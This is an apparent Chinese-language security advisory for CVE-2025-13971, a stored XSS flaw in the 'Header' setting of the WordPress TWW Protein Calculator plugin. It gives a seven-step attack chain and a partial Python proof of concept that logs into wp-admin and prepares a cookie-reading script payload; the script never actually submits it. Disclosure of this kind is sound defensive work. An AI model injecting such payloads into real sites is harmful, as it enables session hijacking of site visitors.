IPBUF安全漏洞报告
English
CVE-2025-13971 CVSS 4.4 中危

CVE-2025-13971 WordPress TWW Protein Calculator插件存储型XSS漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-13971
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
4.4 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
TWW Protein Calculator插件 for WordPress

相关标签

存储型XSSWordPress插件漏洞CVE-2025-13971TWW Protein Calculator跨站脚本攻击Web安全CMS漏洞

漏洞概述

CVE-2025-13971是WordPress平台TWW Protein Calculator插件中的一个存储型跨站脚本(XSS)安全漏洞。该漏洞存在于插件的'Header'设置功能中,由于程序在处理用户输入时未能进行充分的输入消毒和输出转义,导致恶意JavaScript代码可以被存储在数据库中。当其他用户访问包含恶意代码的页面时,这些脚本会在受害者浏览器中执行,从而窃取会话Cookie、劫持用户账户或执行其他恶意操作。此漏洞需要攻击者具备管理员级别权限才能利用,且仅影响多站点WordPress安装或已禁用unfiltered_html功能的单站点安装。攻击者可以通过WordPress后台管理界面修改插件的Header设置,注入任意Web脚本代码。

技术细节

该漏洞的根本原因在于TWW Protein Calculator插件在处理'Header'设置参数时,缺少适当的输入验证和输出编码机制。攻击者以管理员身份登录WordPress后台后,可通过插件设置页面修改Header参数,注入包含<script>标签或事件处理器(如onerror、onload)的恶意代码。由于插件直接将用户输入存储到数据库中,并在页面渲染时未进行HTML转义,导致恶意脚本被持久化存储。每次用户访问使用该插件的页面时,存储的恶意脚本都会作为页面内容的一部分被加载执行。漏洞影响文件主要包括protein-calculator-compact.php和protein-calculator-large.php模板文件,这些文件在渲染Header内容时直接输出而未进行转义处理。攻击成功后可获取用户Cookie、会话信息,甚至进一步进行横向移动攻击。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress站点管理员账户凭据
STEP 2
步骤2
攻击者登录WordPress后台管理面板
STEP 3
步骤3
导航至TWW Protein Calculator插件设置页面
STEP 4
步骤4
在'Header'设置字段中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>
STEP 5
步骤5
保存设置,恶意代码被存储到数据库中
STEP 6
步骤6
当其他用户访问使用该插件的页面时,恶意脚本在用户浏览器中执行
STEP 7
步骤7
攻击者通过恶意脚本窃取用户Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13971 PoC - TWW Protein Calculator Stored XSS # Affected: TWW Protein Calculator plugin <= 1.0.24 for WordPress import requests from bs4 import BeautifulSoup TARGET_URL = "http://target-wordpress-site.com" USERNAME = "admin" PASSWORD = "admin_password" session = requests.Session() # Step 1: Login to WordPress admin login_url = f"{TARGET_URL}/wp-login.php" login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Navigate to plugin settings page settings_url = f"{TARGET_URL}/wp-admin/admin.php?page=twwc-protein-settings" response = session.get(settings_url) # Step 3: Inject XSS payload in Header setting # Payload: <script>alert(document.cookie)</script> xss_payload = '<script>alert(document.cookie)</script>' settings_data = { "twwc_header": xss_payload, "submit": "Save Changes" } # Note: Actual form action and field names need to be identified from the plugin # This PoC demonstrates the attack vector, actual implementation varies print(f"[*] Sending XSS payload: {xss_payload}") print(f"[*] Target: {settings_url}") print("[*] Payload will execute when any user views pages using the plugin")

影响范围

TWW Protein Calculator插件 <= 1.0.24 (所有版本)

防御指南

临时缓解措施
临时缓解措施:1) 升级插件到最新版本;2) 如果无法立即升级,可暂时禁用TWW Protein Calculator插件;3) 限制管理员账户数量和权限;4) 实施Web应用防火墙(WAF)规则检测XSS攻击特征;5) 监控WordPress日志中的异常管理员行为;6) 对管理员操作实施双因素认证;7) 考虑使用安全插件如Wordfence进行实时防护和恶意代码检测。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表